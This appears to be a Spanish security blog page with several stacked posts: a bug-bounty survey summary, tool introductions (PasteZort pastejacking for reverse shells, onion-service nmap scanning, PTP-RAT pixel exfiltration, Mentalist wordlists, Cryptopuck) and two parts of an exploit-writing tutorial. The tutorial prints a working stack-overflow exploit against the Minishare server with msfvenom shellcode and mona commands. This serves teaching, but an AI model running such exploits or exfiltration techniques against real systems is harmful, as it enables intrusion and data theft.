El término "Bug Bounty" y en definitiva los programas de recompensa por el descubrimiento y reporte (responsable) de bugs se han expandido y multiplicado espectacularmente en los últimos años. Bugcrowd ha lanzado su segundo informe anual "Mind of a Hacker", para proporcionar información sobre las motivaciones y preferencias de los cazadores de bugs y así ayudar a las empresas a adaptar sus programas de bonificación para que puedan conducir a mejores resultados para todos.

Las ideas más interesantes derivadas de una encuesta a más de 500 denominados "bug hunters" son las siguientes:

- Vienen de todas partes del mundo (216 países), pero la gran mayoría de ellos se encuentran en los Estados Unidos y la India.

- La mayoría son muy jóvenes: el 71% tienen entre 18 y 29 años de edad (un 60% más que el año anterior) y el 8% aún no han cumplido los 18 años.

- La mayoría de los cazadores de bug tienen una formación avanzada (el 82% de los cazadores de bugs han completado alguna forma de educación superior)

- La mayoría de ellos (86%) trabajan en la industria de la seguridad (pentesters, consultores de seguridad, etc.). El 14% no tiene experiencia específica en seguridad pero en cambio,tiene puestos de TI más amplios, como ingenieros de software, desarrolladores o administradores de sistemas.

- Tienen conocimiento y experiencia en muchas tecnologías:


Comprometido por sólo copiar y pegar texto de una página maliciosa (obtención de una shell mediante pastejacking)

Hace algo más de un año, vimos un técnica llamada pastejacking que sobrescribía el portapapeles del usuario (normalmente después de control+c), de tal manera que cuando el usuario quería pegar el texto original (normalmente con control+v) éste ya había sido sustituido por contenido malicioso. En ese post vimos una simple prueba de concepto pero hoy ya os traemos un ejemplo más práctico y es que, con sólo copiar y pegar el texto de la web del atacante, éste podrá obtener una sesión inversa contra la máquina de la víctima.

La herramienta que nos va a facilitar este tipo de ataque es un script en Python bautizado como PasteZort y creado por ZettaHack. Lo único que necesitaremos para usarlo  es descargar el software desde el repositorio de Github y darle permisos de ejecución.

# git clone https://github.com/ZettaHack/PasteZort.git
Cloning into 'PasteZort'...
remote: Counting objects: 13, done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 13 (delta 1), reused 13 (delta 1), pack-reused 0
Unpacking objects: 100% (13/13), done.


# cd PasteZort/
root@server:/PasteZort# ls
encode.rb  PasteZ0rt.py  README.md
root@server:/PasteZort# chmod +x PasteZ0rt.py


root@server:/PasteZort# ./PasteZ0rt.py

docker-onion-nmap o cómo escanear servicios .onion de la red Tor

docker-onion-nmap de Miles Richardson es un contenedor docker que permite escanear servicios "onion" de la red Tor. La imagen está basada en Alpine y utiliza proxychains para "wrappear" nmap. Tor y dnsmasq se ejecutan como demonio vía s6 y, como comentamos, se usa proxychains para que los escaneos de nmap vayan por el proxy SOCK de Tor en el puerto 9050.

Además también se configura Tor a través de DNSPort para resolver anónimamente las solicitudes DNS sobre el puerto 9053, en el que dnsmasq actúa como servidor DNS de autoridad (authority.) Luego Proxychains está configurado para proxy DNS a través de la resolución local, por lo que todas las solicitudes DNS pasarán por Tor y las aplicaciones pueden resolver las direcciones .onion.

Ejemplo:
$ docker run --rm -it milesrichardson/onion-nmap -p 80,443 forohpysho2t5mjs.onion
[tor_wait] Wait for Tor to boot... (might take a while)
[tor_wait] Done. Tor booted.
[nmap onion] nmap -p 80,443 forohpysho2t5mjs.onion
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.12

Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-14 11:01 UTC
[proxychains] Dynamic chain  ...  127.0.0.1:9050  ...  forohpysho2t5mjs.onion:80  ...  OK
[proxychains] Dynamic chain  ...  127.0.0.1:9050  ...  forohpysho2t5mjs.onion:443 <--denied br="">RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Nmap scan report for forohpysho2t5mjs.onion (224.0.0.1)
Host is up (7.1s latency).

PORT    STATE  SERVICE
80/tcp  open   http
443/tcp closed https

Nmap done: 1 IP address (1 host up) scanned in 10.32 seconds

Uso:

Cuando el contenedor docker se inicia ejecuta Tor y dnsmasq como demonios. Después el script 'tor_wait' espera a que el proxy Tor SOCKS esté activo antes de ejecutar su comando. Por defecto, se pasan los argumentos nmap -sT -PN -n "$@", necesarios para funcionar sobre Tor (vía explainshell.com).

Exfiltración de datos codificando datos en valores de color de píxeles

Hace cuatro años, Dave Lodge tuvo la idea de codificar datos en una serie de códigos QR para extraer información de un host y, el año pasado, ya lo pudimos ver implementado por Eric Seifert que desarrolló el software necesario para enviar datos usando tan sólo un monitor y una cámara web ("IP sobre QR"). Este método funciona, pero los códigos QR no contienen una gran cantidad de datos, por lo que transferir incluso 1MB lleva mucho tiempo.

Digamos que estos fueron dos pasos previos a la herramienta de exfiltración de datos que os traemos hoy. Se trata PTP-RAT de Alan Monie, que aumenta el ancho de banda codificando datos usando valores de color de píxeles individuales y mostrando la pantalla remota.

El funcionamiento básicamente es que un listener en el equipo procesa las capturas de la pantalla y reconstruye los datos. Cada captura de pantalla comienza con un encabezado que contiene una cadena mágica, "PTP-RAT-CHUNK" seguido de un número de secuencia. Cuando el receptor está activado, comienza a tomar capturas de pantalla al doble de la frecuencia de transmisión (la tasa de Nyquist). Cuando detecta un encabezado válido, decodifica la información de color de píxeles y espera al siguiente flash. Tan pronto como no se detecta un encabezado válido, reconstruye todas las capturas y guarda el resultado en un archivo.

Una resolución de pantalla típica de 1920×1080 con 24 bits de color puede codificar casi 6 MB de datos en una imagen, por lo que el ancho de banda no está nada mal. Sin embargo protocolos como RDP cambian ligeramente los valores de color y, aunque no es perceptible para un ser humano, destruyen datos codificados. Alan estimó que sería posible codificar hasta 15 bits por píxel en una buena conexión antes de comenzar a perder datos. Esto probablemente variaría entre los protocolos y la calidad de la conexión, así que decidió dar un buen margen de error, y en lugar de codificar tres bytes por píxel, decidió bajarlo a 3 bits por píxel (1 bit por cada valor RGB en el píxel) para manejar los "errores" de compresión del protocolo. Después de hacer este cambio, lo probó con una conexión RDP y pudo filtrar un archivo de 3MB en unos segundos.

Para utilizar el software hay que instalar una instancia tanto en el emisor como el receptor y simplemente seleccionar el archivo que queremos enviar. El puntero del mouse desaparece y la pantalla comienza a parpadear a medida que el archivo se transmite a través de los valores de color de los píxeles. Al final de la transferencia, aparece un cuadro de diálogo para guardar archivos en el receptor y el archivo se guarda.

Mentalist: una herramienta gráfica para generar wordlists

Mentalist es una herramienta gráfica para la generación de listas de palabras personalizadas para ataques de diccionario. Utiliza paradigmas humanos comunes para construir contraseñas y puede generar una lista completa de palabras, así como reglas compatibles con Hashcat y John the Ripper.

Mentalist genera listas de palabras al unir nodos, que forman una cadena. El primer nodo de una cadena es siempre el nodo de palabras base. Cuando se procesa la cadena, cada palabra base pasa al siguiente nodo de la cadena, lo que puede modificar la palabra, dejarla igual o crear más variaciones de la misma. Finalmente, los resultados se escriben en un archivo de salida como la lista de palabras completa o las reglas para generar la lista equivalente.

Hay 5 tipos de nodos. Cada tipo tiene su propio conjunto de atributos, que se pueden agregar en cualquier combinación. Los atributos de un nodo determinan su función. Además, los atributos dentro del mismo nodo son mutuamente excluyentes entre sí.

Algunos nodos pueden producir más de una palabra de salida para cada palabra de entrada. En tales casos, solo el conjunto de palabras de salida únicas para una Palabra Base se pasa al siguiente nodo. En otras palabras, cada nodo realiza desduplicación en cada palabra base.
  • Base words: Siempre el primer nodo dentro de la cadena de Mentalist. Proporciona las palabras raíz, que deben ser procesadas por cada nodo a medida que pasan por la cadena.
  • Case: Cambia de mayúsculas a minúsculas y viceversa las letras dentro de la palabra. Cada atributo agregado a un nodo de Case produce una variación diferente de la palabra de entrada, a excepción del atributo 'No Case Change' que pasa a través de la palabra original.
  • Substitution: Reemplaza los caracteres dentro de la palabra. Al igual que Case, cada atributo agregado a un nodo de Sustitución produce otra palabra de salida, sujeta a desduplicación. El atributo 'No Substitution' devuelve la palabra de entrada sin modificar.
  • Append: Los nodos Append añaden cadenas al final de la palabra de entrada. La mayoría de los atributos Append producen muchas variaciones de la palabra de entrada. Por ejemplo, el atributo Numbers: Small (0-100) agrega 101 palabras de salida para cada palabra de entrada.
  • Prepend: Los nodos Prepend agregan cadenas al comienzo de la palabra de entrada. Sus atributos y funcionalidad son idénticos a Append.

Cryptopuck: un dispositivo (RPi) para cifrar rápidamente sin necesidad de computadora

A través de Hackaday descubrimos un interesante proyecto de Dimitris Platis llamado Cryptopuck, que combina una Raspberry Pi Zero, algunos programillas en Python y una caja impresa en 3D. El resultado es un dispositivo de cifrado completamente autónomo que cualquiera puede usar. Solo hay que insertar una unidad flash USB, esperar a que el LED deje de parpadear y todos sus archivos estarán cifrados de forma segura y solo podrán acceder a ellos quienes tengan la clave privada.

Según su autor (y con toda razón) un dispositivo como este podría ser muy valioso para reporteros y fotógrafos, manifestantes o, en realidad, cualquier persona que necesite una forma discreta de proteger datos rápidamente, sin tener acceso a una computadora.

El lado del hardware es realmente solo la RPi, un interruptor, un solo LED para notificaciones y una batería. La verdadera magia proviene del software, donde Dimitris usa PyCrypto para realizar el cifrado AES-256 y una combinación de pyinotify y udiskie para detectar nuevos volúmenes montados y actuar sobre ellos. Los diversos scripts de Python que componen la suite Cryptopuck están todos disponibles en la página GitHub del proyecto, pero Dimitris deja muy claro que el software se debe considerar una prueba de concepto y no se ha sometido a ningún tipo de auditoría de seguridad.


Proyecto: https://platis.solutions/blog/2017/10/10/cryptopuck-encrypt-removable-media-on-the-fly/
Github: https://github.com/platisd/cryptopuck

Taller de iniciación al exploiting: desbordamiento de pila (4) - ejecución del shellcode

En las entradas anteriores de esta serie hemos sido capaces de provocar un desbordamiento de pila en un programa (Minishare) y controlar su flujo de ejecución para redireccionarlo hacia donde hemos preparado la ubicación de nuestro shellcode, así que ya sólo nos queda crear ese shellcode e insertarlo en nuestro exploit para que sea completamente funcional.

Para ello usaremos msfvenom, una utilidad de Metasploit con la que podremos generar y encodear fácilmente payloads.

Primero generaremos un payload para ejecutar la típica calculadora como prueba de concepto. Tenemos que aseguraremos que el shellcode que se crea esté libre de los caracteres incorrectos o "bad characters" más usuales "\x00\x0a\x0d" que, de no eliminarse, podrían hacer que el shellcode sea inviable. El comando resultante sería:

msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d' -f python


Lo copiamos y pegamos a nuestro exploit:

EXPLOIT K
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77
nops = "\x90" * 32

# msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d' -f python

shellcode =  ""
shellcode += "\xba\x6a\xfc\x07\x12\xd9\xe8\xd9\x74\x24\xf4\x5e\x29"
shellcode += "\xc9\xb1\x31\x83\xee\xfc\x31\x56\x0f\x03\x56\x65\x1e"
shellcode += "\xf2\xee\x91\x5c\xfd\x0e\x61\x01\x77\xeb\x50\x01\xe3"
shellcode += "\x7f\xc2\xb1\x67\x2d\xee\x3a\x25\xc6\x65\x4e\xe2\xe9"
shellcode += "\xce\xe5\xd4\xc4\xcf\x56\x24\x46\x53\xa5\x79\xa8\x6a"
shellcode += "\x66\x8c\xa9\xab\x9b\x7d\xfb\x64\xd7\xd0\xec\x01\xad"
shellcode += "\xe8\x87\x59\x23\x69\x7b\x29\x42\x58\x2a\x22\x1d\x7a"
shellcode += "\xcc\xe7\x15\x33\xd6\xe4\x10\x8d\x6d\xde\xef\x0c\xa4"
shellcode += "\x2f\x0f\xa2\x89\x80\xe2\xba\xce\x26\x1d\xc9\x26\x55"
shellcode += "\xa0\xca\xfc\x24\x7e\x5e\xe7\x8e\xf5\xf8\xc3\x2f\xd9"
shellcode += "\x9f\x80\x23\x96\xd4\xcf\x27\x29\x38\x64\x53\xa2\xbf"
shellcode += "\xab\xd2\xf0\x9b\x6f\xbf\xa3\x82\x36\x65\x05\xba\x29"
shellcode += "\xc6\xfa\x1e\x21\xea\xef\x12\x68\x60\xf1\xa1\x16\xc6"
shellcode += "\xf1\xb9\x18\x76\x9a\x88\x93\x19\xdd\x14\x76\x5e\x11"
shellcode += "\x5f\xdb\xf6\xba\x06\x89\x4b\xa7\xb8\x67\x8f\xde\x3a"
shellcode += "\x82\x6f\x25\x22\xe7\x6a\x61\xe4\x1b\x06\xfa\x81\x1b"
shellcode += "\xb5\xfb\x83\x7f\x58\x68\x4f\xae\xff\x08\xea\xae"


exploit="GET " + junk + eip + nops + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()

y al ejecutarlo, debería abrirse la calculadora como se muestra a continuación:

Taller de iniciación al exploiting: desbordamiento de pila (3) - "acomodando" el espacio para nuestro payload

Anteriormente habíamos conseguido saber exactamente dónde está (offset) el puntero de la aplicación o EIP del servidor Minishare. La meta final es sobrescribir este registro para apuntar a una dirección de memoria donde haya otros procesos interesantes como la consola de comandos o, como haremos a continuación, donde esté nuestro código malicioso/shellcode.

Si echáis la "vista" atrás, anteriormente inyectamos un búfer de 2000 bytes con caracteres únicos para saber rápidamente que el EIP se encontraba a partir del 1787. Esto nos deja 209 bytes (2000−1787−4) si queremos escribir nuestro shellcode, espacio que podría ser insuficiente si consideramos que una shell inversa suele ocupar entre 300 y 400 bytes.

Para localizar espacio para nuestro shellcode la manera más rápida es incrementar el búfer de 2000 a 2200 bytes y verificar si el programa se bloquea y si da como resultado un espacio más grande para nuestro shellcode. Por lo que modificamos el exploit añadiendo 409 C's para ver el resultado:

EXPLOIT E
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x42\x42\x42\x42"

shellcode = "\x43" * 409

exploit="GET " + junk + eip + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()


Como veis en el volcado de memoria del ESP (botón derecho + "Follow in Dump"), el tamaño del búfer ha aumentado y se han sobrescrito todas las C's, lo que significa que tenemos asegurados al menos 409 bytes de espacio disponibles para nuestro shellcode, suficiente.

El siguiente paso es saltar a la localización de nuestro buffer y como nuestro buffer de C's comienza en ESP, necesitamos encontrar una forma de redirigir el flujo al inicio del registro ESP. Para ello, intentaremos encontrar una instrucción  "jmp esp" en memoria. De nuevo, usaremos el script mona.py para encontrar la instrucción JMP ESP más adecuada.

Primero listaremos todos los módulos o librerías cargados en memoria con el siguiente comando:

!mona modules


Observar que en la tabla resultante se incluye también información de la existencia o no de diversas protecciones como SEH, ASLR o NX. Dado que estamos trabajando en XP y no tenemos ningún tipo de protección, en nuestro caso elegimos por ejemplo el módulo del sistema operativo ole32.dll (soporte para objetos OLE) para buscar instrucciones "JMP ESP". Podemos utilizar el script Mona nuevamente para encontrar esta instrucción en dicho módulo:

!mona find -s "\xff\xe4" -m ole32.dll

* "ffe4" es el opcode equivalente a la instrucción JMP ESP.